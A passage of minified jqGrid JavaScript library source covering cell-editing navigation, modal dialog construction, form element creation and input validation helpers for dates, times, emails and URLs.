findNextVisible($t.p.iCol-1,'lft'); scrollGrid($t.p.iRow, i,'h'); $($t).jqGrid("editCell",$t.p.iRow, i,false,e); } break; case 39 : if ($t.p.iCol +1 <= $t.p.colModel.length-1) { i = findNextVisible($t.p.iCol+1,'rgt'); scrollGrid($t.p.iRow,i,'h'); $($t).jqGrid("editCell",$t.p.iRow,i,false,e); } break; case 13: if (parseInt($t.p.iCol,10)>=0 && parseInt($t.p.iRow,10)>=0) { e.preventDefault(); $($t).jqGrid("editCell",$t.p.iRow,$t.p.iCol,true,e); } break; default : return true; } return false; }); }); }, getChangedCells : function (mthd) { var ret=[]; if (!mthd) {mthd='all';} this.each(function(){ var $t= this,nm; if (!$t.grid || $t.p.cellEdit !== true ) {return;} $($t.rows).each(function(j){ var res = {}; if ($(this).hasClass("edited")) { $('td',this).each( function(i) { nm = $t.p.colModel[i].name; if ( nm !== 'cb' && nm !== 'subgrid' && nm !=='sc') { if (mthd==='dirty') { if ($(this).hasClass('dirty-cell')) { try { res[nm] = $.unformat.call($t,this,{rowId:$t.rows[j].id, colModel:$t.p.colModel[i]},i); } catch (e){ res[nm] = $.jgrid.htmlDecode($(this).html()); } } } else { try { res[nm] = $.unformat.call($t,this,{rowId:$t.rows[j].id,colModel:$t.p.colModel[i]},i); } catch (e) { res[nm] = $.jgrid.htmlDecode($(this).html()); } } } }); res.id = this.id; ret.push(res); } }); }); return ret; } /// end cell editing }); //module begin $.extend($.jgrid,{ // Modal functions showModal : function(h) { h.w.show(); }, closeModal : function(h) { h.w.hide().attr("aria-hidden","true"); if(h.o) {h.o.remove();} }, hideModal : function (selector,o) { o = $.extend({jqm : true, gb :'', removemodal: false, formprop: false, form : ''}, o || {}); var thisgrid = o.gb && typeof o.gb === "string" && o.gb.slice(0,6) === "#gbox_" ? $("#" + o.gb.slice(6))[0] : false; if(o.onClose) { var oncret = thisgrid ? o.onClose.call(thisgrid, selector) : o.onClose(selector); if (typeof oncret === 'boolean' && !oncret ) { return; } } if( o.formprop && thisgrid && o.form) { var frmgr, frmdata; if(o.form==='edit'){ frmgr = '#' +$.jgrid.jqID("FrmGrid_"+ o.gb.slice(6)); frmdata = "formProp"; } else if( o.form === 'view') { frmgr = '#' +$.jgrid.jqID("ViewGrid_"+ o.gb.slice(6)); frmdata = "viewProp"; } $(thisgrid).data(frmdata, { top: $.jgrid.floatNum($(selector).css("top")), left : $.jgrid.floatNum($(selector).css("left")), width : $.jgrid.floatNum( $(selector)[0].style.width ), height : $.jgrid.floatNum( $(selector)[0].style.height ), dataheight : $(frmgr).height(), datawidth: $(frmgr).width() }); } if ($.fn.jqm && o.jqm === true) { $(selector).attr("aria-hidden","true").jqmHide(); } else { if(o.gb !== '') { try { $(o.gb).find(".jqgrid-overlay").first().hide(); } catch (e){} } try { $(".jqgrid-overlay-modal").hide(); } catch (e) {} $(selector).hide().attr("aria-hidden","true"); } if( o.removemodal ) { $(selector).remove(); } }, //Helper functions findPos : function(obj) { var offset = $(obj).offset(); return [offset.left,offset.top]; }, createModal : function(aIDs, content, p, insertSelector, posSelector, appendsel, css) { p = $.extend(true, {}, $.jgrid.jqModal || {}, p); var self = this, rtlsup = $(p.gbox).attr("dir") === "rtl" ? true : false, classes = $.jgrid.styleUI[(p.styleUI || 'jQueryUI')].modal, common = $.jgrid.styleUI[(p.styleUI || 'jQueryUI')].common, mw = document.createElement('div'); css = $.extend({}, css || {}); mw.className= "ui-jqdialog " + classes.modal; mw.id = aIDs.themodal; var mh = document.createElement('div'); mh.className = "ui-jqdialog-titlebar " + classes.header; mh.id = aIDs.modalhead; $(mh).append("<span class='ui-jqdialog-title "+classes.title+"'>"+p.caption+"</span>"); var ahr= $("<a class='ui-jqdialog-titlebar-close "+common.cornerall+"' aria-label='Close'></a>") .hover(function(){ahr.addClass(common.hover);}, function(){ahr.removeClass(common.hover);}) .append("<span class='" + common.icon_base+" " + classes.icon_close + "'></span>"); $(mh).append(ahr); if(rtlsup) { mw.dir = "rtl"; $(".ui-jqdialog-title",mh).css("float","right"); $(".ui-jqdialog-titlebar-close",mh).css("left",0.3+"em"); } else { mw.dir = "ltr"; $(".ui-jqdialog-title",mh).css("float","left"); $(".ui-jqdialog-titlebar-close",mh).css("right",0.3+"em"); } var mc = document.createElement('div'); $(mc).addClass("ui-jqdialog-content " + classes.content).attr("id",aIDs.modalcontent); $(mc).append(content); mw.appendChild(mc); $(mw).prepend(mh); if(appendsel===true) { $('body').append(mw); } //append as first child in body -for alert dialog else if (typeof appendsel === "string") { $(appendsel).append(mw); } else { $(mw).insertBefore(insertSelector); } $(mw).css(css); if(p.jqModal === undefined) {p.jqModal = true;} // internal use var coord = {}; if ( $.fn.jqm && p.jqModal === true) { if(p.left ===0 && p.top===0 && p.overlay) { var pos = []; pos = $.jgrid.findPos(posSelector); p.left = pos[0] + 4; p.top = pos[1] + 4; if( rtlsup && !appendsel) { p.left = $(p.gbox).outerWidth()- (!isNaN(p.width) ? parseInt(p.width,10) :300);// to do } } coord.top = p.top+"px"; coord.left = p.left+"px"; } else if(p.left !==0 || p.top!==0) { coord.left = p.left+"px"; coord.top = p.top+"px"; } $("a.ui-jqdialog-titlebar-close",mh).click(function(){ var oncm = $("#"+$.jgrid.jqID(aIDs.themodal)).data("onClose") || p.onClose; var gboxclose = $("#"+$.jgrid.jqID(aIDs.themodal)).data("gbox") || p.gbox; self.hideModal("#"+$.jgrid.jqID(aIDs.themodal),{gb:gboxclose,jqm:p.jqModal,onClose:oncm, removemodal: p.removemodal || false, formprop : !p.recreateForm || false, form: p.form || ''}); return false; }); if (p.width === 0 || !p.width) {p.width = 300;} if(p.height === 0 || !p.height) {p.height =200;} if(!p.zIndex) { var parentZ = $(insertSelector).parents("*[role=dialog]").first().css("z-index"); if(parentZ) { p.zIndex = parseInt(parentZ,10)+2; } else { p.zIndex = 950; } } $(mw).css($.extend({ width: isNaN(p.width) ? "auto": p.width+"px", height:isNaN(p.height) ? "auto" : p.height + "px", zIndex:p.zIndex, overflow: 'hidden' },coord)) .attr({tabIndex: "-1","role":"dialog","aria-labelledby":aIDs.modalhead,"aria-hidden":"true"}); if(p.drag === undefined) { p.drag=true;} if(p.resize === undefined) {p.resize=true;} if (p.drag) { $(mh).css('cursor','move'); if($.fn.tinyDraggable) { //$(mw).jqDrag(mh); $(mw).tinyDraggable({ handle:"#"+$.jgrid.jqID(mh.id) }); } else { try { $(mw).draggable({handle: $("#"+$.jgrid.jqID(mh.id))}); } catch (e) {} } } if(p.resize) { if($.fn.jqResize) { $(mw).append("<div class='jqResize "+classes.resizable+" "+common.icon_base + " " +classes.icon_resizable+"'></div>"); $("#"+$.jgrid.jqID(aIDs.themodal)).jqResize(".jqResize",aIDs.scrollelm ? "#"+$.jgrid.jqID(aIDs.scrollelm) : false); } else { try { $(mw).resizable({handles: 'se, sw',alsoResize: aIDs.scrollelm ? "#"+$.jgrid.jqID(aIDs.scrollelm) : false}); } catch (r) {} } } if(p.closeOnEscape === true){ $(mw).keydown( function( e ) { if( e.which === 27 ) { var cone = $("#"+$.jgrid.jqID(aIDs.themodal)).data("onClose") || p.onClose; self.hideModal("#"+$.jgrid.jqID(aIDs.themodal),{gb:p.gbox,jqm:p.jqModal,onClose: cone, removemodal: p.removemodal || false, formprop : !p.recreateForm || false, form: p.form || ''}); } }); } }, viewModal : function (selector,o){ o = $.extend({ toTop: true, overlay: 10, modal: false, overlayClass : 'ui-widget-overlay', // to be fixed onShow: $.jgrid.showModal, onHide: $.jgrid.closeModal, gbox: '', jqm : true, jqM : true }, o || {}); var style=""; if(o.gbox) { var grid = $("#"+o.gbox.substring(6))[0]; try { style = $(grid).jqGrid('getStyleUI', grid.p.styleUI+'.common','overlay', false, 'jqgrid-overlay-modal'); o.overlayClass = $(grid).jqGrid('getStyleUI', grid.p.styleUI+'.common','overlay', true); } catch (em){} } if(o.focusField === undefined) { o.focusField = 0; } if(typeof o.focusField === "number" && o.focusField >= 0 ) { o.focusField = parseInt(o.focusField,10); } else if(typeof o.focusField === "boolean" && !o.focusField) { o.focusField = false; } else { o.focusField = 0; } if ($.fn.jqm && o.jqm === true) { if(o.jqM) { $(selector).attr("aria-hidden","false").jqm(o).jqmShow(); } else {$(selector).attr("aria-hidden","false").jqmShow();} } else { if(o.gbox !== '') { var zInd = parseInt($(selector).css("z-index")) - 1; if(o.modal) { if(!$(".jqgrid-overlay-modal")[0] ) { $('body').prepend("<div "+style+"></div>" ); } $(".jqgrid-overlay-modal").css("z-index",zInd).show(); } else { $(o.gbox).find(".jqgrid-overlay").first().css("z-index",zInd).show(); $(selector).data("gbox",o.gbox); } } $(selector).show().attr("aria-hidden","false"); if(o.focusField >= 0) { try{$(':input:visible',selector)[o.focusField].focus();}catch(_){} } } }, info_dialog : function(caption, content,c_b, modalopt) { var mopt = { width:350, height:'auto', dataheight: 'auto', drag: true, resize: false, left:(window.innerWidth / 2) - 145, top:window.innerHeight / 2 - 150, zIndex : 1000, jqModal : true, modal : false, closeOnEscape : true, align: 'center', buttonalign : 'center', buttons : [], overlay : 10, overlayClass : '' // {text:'textbutt', id:"buttid", onClick : function(){...}} // if the id is not provided we set it like info_button_+ the index in the array - i.e info_button_0,info_button_1... }; $.extend(true, mopt, $.jgrid.jqModal || {}, {caption:"<b>"+caption+"</b>"}, modalopt || {}); var jm = mopt.jqModal, self = this, classes = $.jgrid.styleUI[(mopt.styleUI || $.jgrid.defaults.styleUI || 'jQueryUI')].modal, common = $.jgrid.styleUI[(mopt.styleUI || $.jgrid.defaults.styleUI || 'jQueryUI')].common; if(!mopt.overlayClass) { mopt.overlayClass = common.overlay; } if($.fn.jqm && !jm) { jm = false; } // in case there is no jqModal var buttstr ="", i; if(mopt.buttons.length > 0) { for(i=0;i<mopt.buttons.length;i++) { if(mopt.buttons[i].id === undefined) { mopt.buttons[i].id = "info_button_"+i; } buttstr += "<a id='"+mopt.buttons[i].id+"' class='fm-button " + common.button+"'>"+mopt.buttons[i].text+"</a>"; } } var dh = isNaN(mopt.dataheight) ? mopt.dataheight : mopt.dataheight+"px", cn = "text-align:"+mopt.align+";"; var cnt = "<div id='info_id'>"; cnt += "<div id='infocnt' class='"+classes.body+"' style='margin:0px;padding-bottom:1em;width:100%;overflow:auto;position:relative;height:"+dh+";"+cn+"'>"+content+"</div>"; cnt += c_b ? "<div class='" + classes.footer + "' style='text-align:"+mopt.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'><a id='closedialog' class='fm-button " + common.button + "'>"+c_b+"</a>"+buttstr+"</div>" : buttstr !== "" ? "<div class='" + classes.footer + "' style='text-align:"+mopt.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'>"+buttstr+"</div>" : ""; cnt += "</div>"; try { if($("#info_dialog").attr("aria-hidden") === "false") { $.jgrid.hideModal("#info_dialog",{jqm:jm}); } $("#info_dialog").remove(); } catch (e){} var fs = $('.ui-jqgrid').css('font-size') || '11px'; $.jgrid.createModal({ themodal:'info_dialog', modalhead:'info_head', modalcontent:'info_content', scrollelm: 'infocnt'}, cnt, mopt, '','',true, { "font-size":fs} ); // attach onclick after inserting into the dom if(buttstr) { $.each(mopt.buttons,function(i){ $("#"+$.jgrid.jqID(this.id),"#info_id").on('click',function(){mopt.buttons[i].onClick.call($("#info_dialog")); return false;}); }); } $("#closedialog", "#info_id").on('click',function(){ self.hideModal("#info_dialog",{ jqm:jm, onClose: $("#info_dialog").data("onClose") || mopt.onClose, gb: $("#info_dialog").data("gbox") || mopt.gbox }); return false; }); $(".fm-button","#info_dialog").hover( function(){$(this).addClass(common.hover);}, function(){$(this).removeClass(common.hover);} ); if($.jgrid.isFunction(mopt.beforeOpen) ) { mopt.beforeOpen(); } $.jgrid.viewModal("#info_dialog",{ onHide: function(h) { h.w.hide().remove(); if(h.o) { h.o.remove(); } }, modal :mopt.modal, jqm:jm, overlay : mopt.overlay, overlayClass : mopt.overlayClass }); if($.jgrid.isFunction(mopt.afterOpen) ) { mopt.afterOpen(); } try{ $("#info_dialog").focus();} catch (m){} }, bindEv: function (el, opt) { var $t = this; if($.jgrid.isFunction(opt.dataInit)) { opt.dataInit.call($t,el,opt); } if(opt.dataEvents) { $.each(opt.dataEvents, function() { var tfn = this.fn; if (this.data !== undefined) { $(el).on(this.type, this.data, function(ev) {tfn.call(this, ev, opt);}); } else { $(el).on(this.type, function(ev){ tfn.call(this, ev, opt);} ); } }); } }, // Form Functions createEl : function(eltype,options,vl,autowidth, ajaxso) { var elem = "", $t = this; function setAttributes(elm, atr, exl ) { var exclude = ['dataInit','dataEvents','dataUrl', 'buildSelect','sopt', 'searchhidden', 'defaultValue', 'attr', 'custom_element', 'custom_value', 'oper']; exclude = exclude.concat(['cacheUrlData','delimiter','separator']); if(exl !== undefined && Array.isArray(exl)) { $.merge(exclude, exl); } $.each(atr, function(key, value){ if($.inArray(key, exclude) === -1) { $(elm).attr(key,value); } }); if(!atr.hasOwnProperty('id')) { $(elm).attr('id', $.jgrid.randId()); } } switch (eltype) { case "textarea" : elem = document.createElement("textarea"); if(autowidth) { if(!options.cols) { $(elem).css({width:"98%"});} } else if (!options.cols) { options.cols = 20; } if(!options.rows) { options.rows = 2; } if(vl===' ' || vl===' ' || (vl.length===1 && vl.charCodeAt(0)===160)) {vl="";} elem.value = vl; $(elem).attr({"role":"textbox","multiline":"true"}); setAttributes(elem, options); break; case "checkbox" : //what code for simple checkbox elem = document.createElement("input"); elem.type = "checkbox"; if( !options.value ) { var vl1 = (vl+"").toLowerCase(); if(vl1.search(/(false|f|0|no|n|off|undefined)/i)<0 && vl1!=="") { elem.checked=true; elem.defaultChecked=true; elem.value = vl; } else { elem.value = "on"; } $(elem).attr("offval","off"); } else { var cbval = options.value.split(":"); if(vl === cbval[0]) { elem.checked=true; elem.defaultChecked=true; } elem.value = cbval[0]; $(elem).attr("offval",cbval[1]); } $(elem).attr("role","checkbox"); setAttributes(elem, options, ['value']); break; case "select" : elem = document.createElement("select"); elem.setAttribute("role","listbox"); var msl, ovm = []; if(options.multiple===true) { msl = true; elem.multiple="multiple"; $(elem).attr("aria-multiselectable","true"); } else { msl = false; } if(options.dataUrl != null) { var rowid = null, postData = options.postData || ajaxso.postData; try { rowid = options.rowId; } catch(e) {} if ($t.p && $t.p.idPrefix) { rowid = $.jgrid.stripPref($t.p.idPrefix, rowid); } $.ajax($.extend({ url: $.jgrid.isFunction(options.dataUrl) ? options.dataUrl.call($t, rowid, vl, String(options.name)) : options.dataUrl, type : "GET", dataType: "html", data: $.jgrid.isFunction(postData) ? postData.call($t, rowid, vl, String(options.name)) : postData, context: {elem:elem, options:options, vl:vl}, success: function(data){ var ovm = [], elem = this.elem, vl = this.vl, options = $.extend({},this.options), msl = options.multiple===true, cU = options.cacheUrlData === true, oV ='', txt, mss =[], a = $.jgrid.isFunction(options.buildSelect) ? options.buildSelect.call($t,data) : data; if(typeof a === 'string') { a = $( $.jgrid.trim( a ) ).html(); } if(a) { $(elem).append(a); setAttributes(elem, options, postData ? ['postData'] : undefined ); if(options.size === undefined) { options.size = msl ? 3 : 1;} if(msl) { var multiseparator = options.multiseparator === undefined ? ",": options.multiseparator; ovm = vl.split(multiseparator); ovm = $.map(ovm,function(n){return $.jgrid.trim(n);}); } else { ovm[0] = $.jgrid.trim(vl); } //$(elem).attr(options); //setTimeout(function(){ $("option",elem).each(function(i){ txt = $(this).text(); vl = $(this).val(); if(cU) { oV += (i!== 0 ? ";": "")+ vl+":"+txt; } //if(i===0) { this.selected = ""; } // fix IE8/IE7 problem with selecting of the first item on multiple=true if (i === 0 && elem.multiple) { this.selected = false; } $(this).attr("role","option"); if($.inArray($.jgrid.trim(txt),ovm) > -1 || $.inArray($.jgrid.trim(vl),ovm) > -1 ) { this.selected= "selected"; mss.push(vl); } }); if( options.hasOwnProperty('checkUpdate') ) { if (options.checkUpdate) { $t.p.savedData[options.name] = mss.join(","); } } if(cU) { if(options.oper === 'edit') { $($t).jqGrid('setColProp',options.name,{ editoptions: {buildSelect: null, dataUrl : null, value : oV} }); } else if(options.oper === 'search') { $($t).jqGrid('setColProp',options.name,{ searchoptions: {dataUrl : null, value : oV} }); } else if(options.oper ==='filter') { if($("#fbox_"+$t.p.id)[0].p) { var cols = $("#fbox_"+$t.p.id)[0].p.columns, nm; $.each(cols,function(i) { nm = this.index || this.name; if(options.name === nm) { this.searchoptions.dataUrl = null; this.searchoptions.value = oV; return false; } }); } } } $($t).triggerHandler("jqGridAddEditAfterSelectUrlComplete", [elem]); //},0); } } },ajaxso || {})); } else if(options.value) { var i; if(options.size === undefined) { options.size = msl ? 3 : 1; } if(msl) { ovm = vl.split(","); ovm = $.map(ovm,function(n){return $.jgrid.trim(n);}); } if(typeof options.value === 'function') { options.value = options.value.call($t, vl, options); } var so,sv, ov, oSv, key, value, sep = options.separator === undefined ? ":" : options.separator, delim = options.delimiter === undefined ? ";" : options.delimiter; if(typeof options.value === 'string') { so = options.value.split(delim); for(i=0; i<so.length;i++){ sv = so[i].split(sep); if(sv.length > 2 ) { sv[1] = $.map(sv,function(n,ii){if(ii>0) { return n;} }).join(sep); } ov = document.createElement("option"); ov.setAttribute("role","option"); ov.value = sv[0]; ov.innerHTML = sv[1]; if (sv[1].length == 0) { ov.setAttribute("aria-label","none"); } elem.appendChild(ov); if (!msl && ($.jgrid.trim(sv[0]) === $.jgrid.trim(vl) || $.jgrid.trim(sv[1]) === $.jgrid.trim(vl))) { ov.selected ="selected"; } if (msl && ($.inArray($.jgrid.trim(sv[1]), ovm)>-1 || $.inArray($.jgrid.trim(sv[0]), ovm)>-1)) {ov.selected ="selected";} } } else if (Object.prototype.toString.call(options.value) === "[object Array]") { oSv = options.value; // array of arrays [[Key, Value], [Key, Value], ...] for (i=0; i<oSv.length; i++) { if(oSv[i].length === 2) { key = oSv[i][0]; value = oSv[i][1]; ov = document.createElement("option"); ov.setAttribute("role","option"); ov.value = key; ov.innerHTML = value; if (value.length == 0) { ov.setAttribute("aria-label","none"); } elem.appendChild(ov); if (!msl && ( $.jgrid.trim(key) === $.jgrid.trim(vl) || $.jgrid.trim(value) === $.jgrid.trim(vl)) ) { ov.selected ="selected"; } if (msl && ($.inArray($.jgrid.trim(value),ovm)>-1 || $.inArray($.jgrid.trim(key),ovm)>-1)) { ov.selected ="selected"; } } } } else if (typeof options.value === 'object') { oSv = options.value; for (key in oSv) { if (oSv.hasOwnProperty(key ) ){ ov = document.createElement("option"); ov.setAttribute("role","option"); ov.value = key; ov.innerHTML = oSv[key]; if (oSv[key].length == 0) { ov.setAttribute("aria-label","none"); } elem.appendChild(ov); if (!msl && ( $.jgrid.trim(key) === $.jgrid.trim(vl) || $.jgrid.trim(oSv[key]) === $.jgrid.trim(vl)) ) { ov.selected ="selected"; } if (msl && ($.inArray($.jgrid.trim(oSv[key]),ovm)>-1 || $.inArray($.jgrid.trim(key),ovm)>-1)) { ov.selected ="selected"; } } } } setAttributes(elem, options, ['value']); } else { setAttributes(elem, options ); } break; case "image" : case "file" : elem = document.createElement("input"); elem.type = eltype; setAttributes(elem, options); break; case "custom" : elem = document.createElement("span"); try { if($.jgrid.isFunction(options.custom_element)) { var celm = options.custom_element.call($t,vl,options); if(celm) { celm = $(celm).addClass("customelement").attr({id:options.id,name:options.name}); $(elem).empty().append(celm); } else { throw "e2"; } } else { throw "e1"; } } catch (e) { var errors = $.jgrid.getRegional($t, 'errors'), edit =$.jgrid.getRegional($t, 'edit'); if (e==="e1") { $.jgrid.info_dialog(errors.errcap,"function 'custom_element' "+edit.msg.nodefined, edit.bClose, {styleUI : $t.p.styleUI });} else if (e==="e2") { $.jgrid.info_dialog(errors.errcap,"function 'custom_element' "+edit.msg.novalue,edit.bClose, {styleUI : $t.p.styleUI });} else { $.jgrid.info_dialog(errors.errcap,typeof e==="string"?e:e.message,edit.bClose, {styleUI : $t.p.styleUI }); } } break; default : var role; if(eltype==="button") { role = "button"; } else { role = "textbox"; } // ??? elem = document.createElement("input"); elem.type = eltype; elem.value = vl; if(eltype !== "button"){ if(autowidth) { if(!options.size) { $(elem).css({width:"96%"}); } } else if (!options.size) { options.size = 20; } } $(elem).attr("role",role); setAttributes(elem, options); } return elem; }, // Date Validation Javascript checkDate : function (format, date) { var daysInFebruary = function(year){ // February has 29 days in any year evenly divisible by four, // EXCEPT for centurial years which are not also divisible by 400. return (((year % 4 === 0) && ( year % 100 !== 0 || (year % 400 === 0))) ? 29 : 28 ); }, tsp = {}, sep; format = format.toLowerCase(); //we search for /,-,. for the date separator if(format.indexOf("/") !== -1) { sep = "/"; } else if(format.indexOf("-") !== -1) { sep = "-"; } else if(format.indexOf(".") !== -1) { sep = "."; } else { sep = "/"; } format = format.split(sep); date = date.split(sep); if (date.length !== 3) { return false; } var j=-1,yln, dln=-1, mln=-1, i; for(i=0;i<format.length;i++){ var dv = isNaN(date[i]) ? 0 : parseInt(date[i],10); tsp[format[i]] = dv; yln = format[i]; if(yln.indexOf("y") !== -1) { j=i; } if(yln.indexOf("m") !== -1) { mln=i; } if(yln.indexOf("d") !== -1) { dln=i; } } if (format[j] === "y" || format[j] === "yyyy") { yln=4; } else if(format[j] ==="yy"){ yln = 2; } else { yln = -1; } var daysInMonth = [0,31,29,31,30,31,30,31,31,30,31,30,31], strDate; if (j === -1) { return false; } strDate = tsp[format[j]].toString(); if(yln === 2 && strDate.length === 1) {yln = 1;} if (strDate.length !== yln || (tsp[format[j]]===0 && date[j]!=="00")){ return false; } if(mln === -1) { return false; } strDate = tsp[format[mln]].toString(); if (strDate.length<1 || tsp[format[mln]]<1 || tsp[format[mln]]>12){ return false; } if(dln === -1) { return false; } strDate = tsp[format[dln]].toString(); if (strDate.length<1 || tsp[format[dln]]<1 || tsp[format[dln]]>31 || (tsp[format[mln]]===2 && tsp[format[dln]]>daysInFebruary(tsp[format[j]])) || tsp[format[dln]] > daysInMonth[tsp[format[mln]]]){ return false; } return true; }, isEmpty : function(val) { if (val === undefined || val.match(/^\s+$/) || val === "") { return true; } return false; }, checkTime : function(time){ // checks only hh:ss (and optional am/pm) var re = /^(\d{1,2}):(\d{2})([apAP][Mm])?$/,regs; if(!$.jgrid.isEmpty(time)) { regs = time.match(re); if(regs) { if(regs[3]) { if(regs[1] < 1 || regs[1] > 12) { return false; } } else { if(regs[1] > 23) { return false; } } if(regs[2] > 59) { return false; } } else { return false; } } return true; }, checkValues : function(val, valref, customobject, nam) { var edtrul,i, nm, dft, len, g = this, cm = g.p.colModel, msg = $.jgrid.getRegional(this, 'edit.msg'), fmtdate, isNum = function(vn) { vn = vn.toString(); if(vn.length >= 2) { var chkv, dot; if(vn[0] === "-" ) { chkv = vn[1]; if(vn[2]) { dot = vn[2];} } else { chkv = vn[0]; if(vn[1]) { dot = vn[1];} } if( chkv === "0" && dot !== ".") { return false; //octal } } return typeof Number(vn) === 'number' && isFinite(vn); }; if(customobject === undefined) { if(typeof valref==='string'){ for( i =0, len=cm.length;i<len; i++){ if(cm[i].name===valref) { edtrul = cm[i].editrules; valref = i; if(cm[i].formoptions != null) { nm = cm[i].formoptions.label; } break; } } } else if(valref >=0) { edtrul = cm[valref].editrules; } } else { edtrul = customobject; nm = nam===undefined ? "_" : nam; } if(edtrul) { if(!nm) { nm = g.p.colNames != null ? g.p.colNames[valref] : cm[valref].label; } if(edtrul.required === true) { if( $.jgrid.isEmpty(val) ) { return [false,nm+": "+msg.required,""]; } } // force required var rqfield = edtrul.required === false ? false : true; if(edtrul.number === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(!isNum(val)) { return [false,nm+": "+msg.number,""]; } } } if(edtrul.minValue !== undefined && !isNaN(edtrul.minValue)) { if ($.jgrid.floatNum(val) < $.jgrid.floatNum(edtrul.minValue) ) { return [false,nm+": "+msg.minValue+" "+edtrul.minValue,""];} } if(edtrul.maxValue !== undefined && !isNaN(edtrul.maxValue)) { if ($.jgrid.floatNum(val) > $.jgrid.floatNum(edtrul.maxValue) ) { return [false,nm+": "+msg.maxValue+" "+edtrul.maxValue,""];} } var filter; if(edtrul.email === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { // taken from $ Validate plugin filter = /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i; if(!filter.test(val)) {return [false,nm+": "+msg.email,""];} } } if(edtrul.integer === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(!isNum(val)) { return [false,nm+": "+msg.integer,""]; } if ((val % 1 !== 0) || (val.indexOf('.') !== -1)) { return [false,nm+": "+msg.integer,""];} } } if(edtrul.date === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(cm[valref].formatoptions && cm[valref].formatoptions.newformat) { dft = cm[valref].formatoptions.newformat; fmtdate = $.jgrid.getRegional(g, 'formatter.date.masks'); if(fmtdate && fmtdate.hasOwnProperty(dft) ) { dft = fmtdate[dft]; } } else { dft = cm[valref].datefmt || "Y-m-d"; } if(!$.jgrid.checkDate (dft, val)) { return [false,nm+": "+msg.date+" - "+dft,""]; } } } if(edtrul.time === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if(!$.jgrid.checkTime (val)) { return [false,nm+": "+msg.date+" - hh:mm (am/pm)",""]; } } } if(edtrul.url === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { filter = /^(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i; if(!filter.test(val)) {return [false,nm+": "+msg.url,""];} } } if(edtrul.custom === true) { if( !(rqfield === false && $.jgrid.isEmpty(val)) ) { if($.jgrid.isFunction(edtrul.custom_func)) { var ret = edtrul.custom_func.call(g,val,nm,valref); return Array.isArray(ret) ? ret : [false,msg.customarray,""]; } return [false,msg.customfcheck,""]; } } } return [true,"",""]; }, validateForm : function(form) { var f, field, formvalid = true; for (f = 0; f < form.elements.length; f++) { field = form.elements[f]; // ignore buttons, fieldsets, etc. if (field.nodeName !== "INPUT" && field.nodeName !== "TEXTAREA" && field.nodeName !== "SELECT") continue; // is native browser validation available? if (typeof field.willValidate !== "undefined") { // native validation available if (field.nodeName === "INPUT" && field.type !== field.getAttribute("type")) { // input type not supported! Use legacy JavaScript validation field.setCustomValidity($.jgrid.LegacyValidation(field) ? "" : "error"); } // native browser check display error field.reportValidity(); } else { // native validation not available field.validity = field.validity || {}; field.validity.valid = $.jgrid.LegacyValidation(field); } if (field.validity.valid) { // remove error styles and messages } else { // style field, show error, etc. // form is invalid //var message = field.validationMessage; formvalid = false; break; } } return formvalid; }, // basic legacy validation checking LegacyValidation : function (field) { var valid = true, val = field.value, type = field.getAttribute("type"), chkbox = (type === "checkbox" || type === "radio"), required = field.getAttribute("required"), minlength = field.getAttribute("minlength"), maxlength = field.getAttribute("maxlength"), pattern = field.getAttribute("pattern"); // disabled fields should not be validated if ( field.disabled ) { return valid; } // value required? valid = valid && (!required || (chkbox && field.checked) || (!chkbox && val !== "") ); // minlength or maxlength set? valid = valid && (chkbox || ( (!minlength || val.length >= minlength) && (!maxlength || val.length <= maxlength) )); // test pattern if (valid && pattern) { pattern = new RegExp(pattern); valid = pattern.test(val); } return valid; }, buildButtons : function ( buttons, source, commonstyle) { var icon, str; $.each(buttons, function(i,n) { // side, position, text, icon, click, id, index if(!n.id) { n.id = $.jgrid.randId(); } if(!n.position) { n.position = 'last'; } if(!n.side) { n.side = 'left'; } icon = n.icon ? " fm-button-icon-" + n.side + "'><span class='" + commonstyle.icon_base + " " + n.icon + "'></span>" : "'>"; str = "<a data-index='"+i+"' id='" + n.id + "' class='fm-button " + commonstyle.button + icon + n.text+"</a>"; if(n.position === "last" ) { source = source + str; } else { source = str + source; } }); return source; }, setSelNavIndex : function ($t, selelem ) { var cels = $(".ui-pg-button",$t.p.pager); $.each(cels, function(i,n) { if(selelem===n) { $t.p.navIndex = i; return false; } }); $(selelem).attr("tabindex","0"); }, getFirstVisibleCol : function( $t ) { var ret = -1; for(var i = 0;i<$t.p.colModel.length;i++) { if($t.p.colModel[i].hidden 